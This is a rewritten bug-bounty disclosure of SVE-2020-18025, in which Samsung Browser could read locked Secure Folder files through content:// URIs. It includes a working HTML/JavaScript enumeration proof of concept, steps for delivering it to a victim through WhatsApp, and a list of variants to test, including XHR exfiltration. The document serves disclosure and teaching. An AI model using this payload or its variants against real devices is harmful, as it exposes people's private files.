SVE-2020-18025: Unauthorised access to Samsung secure folder files
Files stored in Samsung's Secure Folder were accessible through content URIs from Samsung Browser even while the folder was locked. An attacker could send a crafted HTML file that enumerates file numbers and displays or exfiltrates the protected files.
Published on servicenger.com
Those secured files are accessible through Samsung browser using content uri while in lock state of secure folder.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Samsung's Secure Folder is a feature that keeps files in a separate, protected storage area on the device. The report describes how those files are stored using Android's multi-user storage environment: the Secure Folder runs as its own Android user, and its files live under that user's storage rather than the primary user's. Because the files belong to a different user, they are not exposed through the content provider that ordinary apps and browsers use, so other apps cannot normally read them.
The researcher found that Samsung's own browser could still reach those files through a content:// URI while the Secure Folder was in its locked state. The issue was tracked as SVE-2020-18025.
Setup
The only tooling the report relies on is adb, used to list the Android users on the device and so learn the user id assigned to the Secure Folder. The researcher notes that sending the file through WhatsApp decreases the steps to attack.
Finding it
The starting observation is that Secure Folder files are protected by user separation: they are stored under the multi-user storage environment and are not reachable through the content provider, which is why other browsers and apps cannot read them. The gap the researcher identified is that the Samsung browser can still resolve content:// URIs pointing at the Secure Folder's user storage, even while the Secure Folder is locked.
A content:// URI needs a specific file number to address a particular file. The researcher's idea was therefore to enumerate file numbers from JavaScript running in the browser, and to do that by loading each candidate URI as a script source and watching whether it loads or errors.
Exploitation
Step 1: Find the Secure Folder's user id
List the users on the device:
adb shell pm list users
The output looks like this:
UserInfo{0:rahul:1} running
UserInfo{150:Secure Folder: } running
User 0 is the primary user and user 150 is the Secure Folder. Files in the Secure Folder can therefore be addressed with a URI of the form:
content://150@media/external/file/file_number
Step 2: Build an enumerating HTML page
The researcher credits F-Secure Labs for the idea behind the enumeration technique. The page creates a script element and walks the file numbers one at a time:
<html>
<body>
<script>
var scriptElement = document.createElement("script");
var i = 0;
function next(){
scriptElement.onerror = function() { i++; document.write('Finding'); next(); }; scriptElement.onload = function() { foundIt(); }; scriptElement.src = "content://150@media/external/file/" + i; document.body.appendChild(scriptElement);
}
function foundIt() {
alert(scriptElement.src);
};
</script>
</body>
</html>
Each iteration sets the script's src to content://150@media/external/file/ followed by the current counter. If the URI does not resolve, the onerror handler increments the counter and tries the next number. If it does resolve, the onload handler fires and foundIt() alerts the full URI, which reveals the file number. The same JavaScript can be used to list every file found this way.
Step 3: Deliver the page and open it in Samsung browser
Save the file as HTML and send it to the victim through WhatsApp, which the researcher notes keeps the attack short. When the victim opens the file from the WhatsApp message in the Samsung browser, the page starts enumerating files. When a valid file is found, the browser shows its content:// path.
Step 4: Read the file
In the Samsung browser, open the path enumerated in step 3, for example:
content://150@media/external/file/1002
The secured file is then displayed. The researcher adds that an XHR request can be used to send the file back to an attacker-controlled server if needed.
The proof of concept shows the secured file being displayed through the enumerated content:// path.
Root cause
The protection model relies on Android's per-user storage: Secure Folder files belong to user 150 and are not exposed through the content provider, so ordinary apps and browsers cannot read them. The Samsung browser, however, can access Secure Folder files through content:// URIs even while the Secure Folder is locked. The report does not describe the browser code responsible, so the precise defect is not stated.
Impact
An attacker who can get a victim to open a crafted HTML file in the Samsung browser can enumerate Secure Folder file numbers and open a found file while the folder is locked. The researcher notes that an XHR request can be used to send the file back to a server if needed. The attack requires the victim to open the delivered file in the Samsung browser; the researcher used WhatsApp delivery to make that easy. Samsung confirmed the finding and concluded the severity was High.
Fix
Samsung stated it completed its security update and reward process and closed the issue, with a CVE requested. The report does not describe the code change itself.
Timeline
| Date | Event |
|---|---|
| 12/06/2020 | Issue reported |
| 15/06/2020 | Security analyst assigned |
| 24/07/2020 | Additional time needed to review the issue with internal stakeholders |
| 14/08/2020 | Vulnerability confirmed; severity concluded as High |
| 15/09/2020 | Bounty of $3750 rewarded |
| 05/10/2020 | Security update and reward process completed; issue closed, CVE requested |
Variants to test
- Other
content://authorities and users. Try URIs for other Android users or storage providers from a page opened in the target browser. A positive result is a scriptonloadfiring for a URI the page should not be able to read. - Enumeration by script source. Apply the same load/error probing to any numeric or guessable identifier in a URI scheme the browser resolves. A positive result is an
alertor logged URI for an identifier that maps to a real resource. - Locked-state access. Repeat the test while the protected container is locked. A positive result is a file being displayed or fetched while the container reports itself as locked.
- Exfiltration path. Confirm whether XHR from the same page can read the resolved content and send it elsewhere. A positive result is the file contents arriving at a server you control.
- Delivery vectors. Test opening the HTML from messaging apps and file managers into the target browser. A positive result is the page executing with access to the protected URIs.
What happened, in plain words
Samsung phones have a feature called Secure Folder. It is a private, locked area on the phone where you can keep photos, documents and other files away from the rest of the device. You can think of it like a safe inside your house: the rest of the house is normal, but the safe has its own lock, and things inside it are not lying around for anyone to pick up.
On Android, the operating system that runs on Samsung phones, apps are kept apart from each other. Android keeps apps apart from each other, and each app normally runs under its own user id, so one app cannot read another's files. Secure Folder takes this idea further: it runs as a completely separate Android user, with its own storage area. Because of that separation, ordinary apps and browsers are not supposed to be able to read the files inside it.
The researcher found that Samsung's own browser could still reach those files, even while the Secure Folder was locked. The trick was to make the browser open a specially crafted web page that asked for the files one by one, using a special kind of address called a content:// URI. The browser answered those requests, and a file found this way could be opened and displayed while the Secure Folder was locked.
The issue was tracked as SVE-2020-18025. Samsung confirmed it, rated the severity as High, and paid a bounty of $3750.
Background: the pieces you need to know
Before walking through the attack, here are the basic ideas it relies on.
Android users. A normal computer can have several accounts, each with its own desktop and files. Android does something similar: the system can run several users, each with a separate storage area. The main person using the phone is usually user 0. Secure Folder is set up as an additional user, and in this report that user is number 150.
Content providers and content:// URIs. Android apps often need to share data with each other, such as contacts, photos or media files. They do this through a content provider, a component that hands out data when another app asks for it. The address used to ask is a URI that starts with content://. A URI is just a string that identifies something, much like a web address identifies a page. A content:// URI typically contains a number that identifies the specific item being requested.
Why the separation matters. Because Secure Folder files belong to user 150, they are not exposed through the content provider that ordinary apps and browsers use. That is the protection: other apps simply cannot ask for them. The report's starting point is that this protection works for other browsers and apps.
The gap. The researcher found that Samsung's own browser could still resolve content:// URIs pointing at the Secure Folder's user storage, even while the Secure Folder was locked. In other words, the browser was willing to fetch files from a user it should not have been able to reach.
Enumeration. A content:// URI needs a specific file number to address a particular file. If you do not know the number, you cannot ask for the file directly. The researcher's idea was to try numbers one at a time, from inside a web page running in the browser, and see which ones produce a real file. This process of trying candidates in order is called enumeration.
How the page knows a number worked. In a web page, you can ask the browser to load a script from a URL by creating a <script> element and setting its src attribute. If the URL loads successfully, the browser fires an onload event. If it fails, the browser fires an onerror event. The researcher used this difference as a signal: a load means the URI pointed at something real, an error means it did not.
XHR. XMLHttpRequest, usually shortened to XHR, is a way for JavaScript in a web page to fetch data from a server in the background, without reloading the page. The researcher notes that XHR can be used to send a file back to a server controlled by the attacker.
Setup
The only tool the report relies on is adb, the Android Debug Bridge. It is a command-line tool that lets a computer talk to an Android device, for example to list information about it. The researcher used it to list the Android users on the device and so learn the user id assigned to the Secure Folder.
The researcher notes that sending the file through WhatsApp decreases the steps to attack.
Finding it
The starting observation is that Secure Folder files are protected by user separation: they are stored under the multi-user storage environment and are not reachable through the content provider, which is why other browsers and apps cannot read them. The gap the researcher identified is that the Samsung browser can still resolve content:// URIs pointing at the Secure Folder's user storage, even while the Secure Folder is locked.
A content:// URI needs a specific file number to address a particular file. The researcher's idea was therefore to enumerate file numbers from JavaScript running in the browser, and to do that by loading each candidate URI as a script source and watching whether it loads or errors.
Exploitation
Step 1: Find the Secure Folder's user id
First, list the users on the device:
adb shell pm list users
This runs a shell command on the phone through adb. The pm part stands for package manager, the part of Android that manages apps and users, and list users asks it to print every user account on the device. The researcher needed this because the content:// URI has to include the correct user number for the Secure Folder.
The output looks like this:
UserInfo{0:rahul:1} running
UserInfo{150:Secure Folder: } running
Each line describes one user. The first line is user 0, the primary user, with the name rahul. The second line is user 150, named Secure Folder. So the Secure Folder is user 150, and files inside it can be addressed with a URI of the form:
content://150@media/external/file/file_number
Reading this URI from left to right: content:// says this is a content provider address; 150 is the user whose storage is being asked; media is the provider that handles media files; external refers to external storage, the shared storage area on the phone; file is the kind of item; and file_number is the specific file to fetch. The researcher needed this exact shape because the enumeration page would build it for each candidate number.
Step 2: Build an enumerating HTML page
The researcher credits F-Secure Labs for the idea behind the enumeration technique. The page creates a script element and walks the file numbers one at a time:
<html>
<body>
<script>
var scriptElement = document.createElement("script");
var i = 0;
function next(){
scriptElement.onerror = function() { i++; document.write('Finding'); next(); }; scriptElement.onload = function() { foundIt(); }; scriptElement.src = "content://150@media/external/file/" + i; document.body.appendChild(scriptElement);
}
function foundIt() {
alert(scriptElement.src);
};
</script>
</body>
</html>
Line by line:
<html>,<body>and<script>are the usual HTML tags that start a page, its visible body and a block of JavaScript.var scriptElement = document.createElement("script");creates a new script element in memory. It is not on the page yet; it is just an object the code can configure.var i = 0;sets the counter to zero. This is the file number that will be tried first.function next(){ ... }defines a function callednext, which does one attempt.scriptElement.onerror = function() { i++; document.write('Finding'); next(); };sets what happens when the script fails to load. The counter goes up by one, the wordFindingis written to the page, andnext()is called again to try the next number. This is the loop: each failure moves on to the next candidate.scriptElement.onload = function() { foundIt(); };sets what happens when the script loads successfully. It callsfoundIt().scriptElement.src = "content://150@media/external/file/" + i;builds the URI for the current number by joining the fixed prefix with the counter, and assigns it as the script's source. This is the actual request for a file.document.body.appendChild(scriptElement);puts the script element on the page, which makes the browser fetch the source.function foundIt() { alert(scriptElement.src); };defines what happens on success: an alert box shows the full URI, which reveals the file number that worked.
Each iteration sets the script's src to content://150@media/external/file/ followed by the current counter. If the URI does not resolve, the onerror handler increments the counter and tries the next number. If it does resolve, the onload handler fires and foundIt() alerts the full URI, which reveals the file number. The same JavaScript can be used to list every file found this way.
Step 3: Deliver the page and open it in Samsung browser
Save the file as HTML and send it to the victim through WhatsApp, which the researcher notes keeps the attack short.
When the victim opens the file from the WhatsApp message in the Samsung browser, the page starts enumerating files. When a valid file is found, the browser shows its content:// path. The researcher notes that the technique relies on the script source response, and that the same JavaScript can be used to list every file found.
Step 4: Read the file
In the Samsung browser, open the path enumerated in step 3, for example:
content://150@media/external/file/1002
This is the same kind of URI the page was building, now with a concrete number, 1002, that the enumeration found to be real. Opening it in the browser displays the secured file. The researcher adds that an XHR request can be used to send the file back to an attacker-controlled server if needed. In plain terms, XHR lets the page take the content it has just read and transmit it elsewhere, so the attacker does not have to be holding the phone.
The proof of concept shows the secured file being displayed through the enumerated content:// path.
Root cause
The protection model relies on Android's per-user storage: Secure Folder files belong to user 150 and are not exposed through the content provider, so ordinary apps and browsers cannot read them. The Samsung browser, however, can access Secure Folder files through content:// URIs even while the Secure Folder is locked. The report does not describe the browser code responsible, so the precise defect is not stated.
Impact
An attacker who can get a victim to open a crafted HTML file in the Samsung browser can enumerate Secure Folder file numbers and open a found file while the folder is locked. The researcher notes that an XHR request can be used to send the file back to a server if needed. The attack requires the victim to open the delivered file in the Samsung browser; the researcher used WhatsApp delivery to make that easy. Samsung confirmed the finding and concluded the severity was High.
Fix
Samsung stated it completed its security update and reward process and closed the issue, with a CVE requested. A CVE is a public identifier assigned to a known vulnerability so that people can refer to it consistently. The report does not describe the code change itself.
Timeline
| Date | Event |
|---|---|
| 12/06/2020 | Issue reported |
| 15/06/2020 | Security analyst assigned |
| 24/07/2020 | Additional time needed to review the issue with internal stakeholders |
| 14/08/2020 | Vulnerability confirmed; severity concluded as High |
| 15/09/2020 | Bounty of $3750 rewarded |
| 05/10/2020 | Security update and reward process completed; issue closed, CVE requested |
Variants to test
- Other
content://authorities and users. Try URIs for other Android users or storage providers from a page opened in the target browser. A positive result is a scriptonloadfiring for a URI the page should not be able to read. - Enumeration by script source. Apply the same load/error probing to any numeric or guessable identifier in a URI scheme the browser resolves. A positive result is an
alertor logged URI for an identifier that maps to a real resource. - Locked-state access. Repeat the test while the protected container is locked. A positive result is a file being displayed or fetched while the container reports itself as locked.
- Exfiltration path. Confirm whether XHR from the same page can read the resolved content and send it elsewhere. A positive result is the file contents arriving at a server you control.
- Delivery vectors. Test opening the HTML from messaging apps and file managers into the target browser. A positive result is the page executing with access to the protected URIs.
Glossary
- Android: the operating system that runs on most Samsung phones and many other devices.
- Secure Folder: a Samsung feature that keeps files in a separate, protected storage area on the device, which can be locked.
- Multi-user storage: an Android arrangement where several user accounts exist on one device, each with its own separate storage area.
- User id: the number that identifies one Android user account, such as
0for the primary user or150for the Secure Folder. - Content provider: an Android component that shares data with other apps, addressed through
content://URIs. - URI: a string that identifies a resource, such as a file or a web page. A web address is one kind of URI.
content://URI: a URI that points at data served by an Android content provider, usually including a number that identifies the specific item.- Enumeration: trying candidate values one after another, such as file numbers, to discover which ones exist.
- JavaScript: the programming language that runs inside web pages and makes them interactive.
- HTML: the language used to describe the structure of a web page.
<script>element: an HTML element that tells the browser to load and run a piece of JavaScript, either written inline or fetched from a URL in itssrcattribute.srcattribute: the part of a<script>element that holds the URL the browser should fetch.onloadevent: what the browser reports when a resource has loaded successfully.onerrorevent: what the browser reports when a resource has failed to load.alert(): a JavaScript function that shows a pop-up box with a message.- XHR (XMLHttpRequest): a way for JavaScript to fetch or send data in the background without reloading the page.
- Exfiltration: taking data out of a protected place and sending it to someone else.
adb(Android Debug Bridge): a command-line tool that lets a computer communicate with an Android device.pm(package manager): the Android component that manages apps and users;pm list usersprints the users on the device.- Root cause: the underlying reason a vulnerability exists, as opposed to its visible symptoms.
- CVE: a public identifier assigned to a known vulnerability so it can be referred to consistently.
- Bounty: a payment made by a company to a researcher who reports a valid security issue.
- Severity: a rating of how serious a vulnerability is, here concluded as High.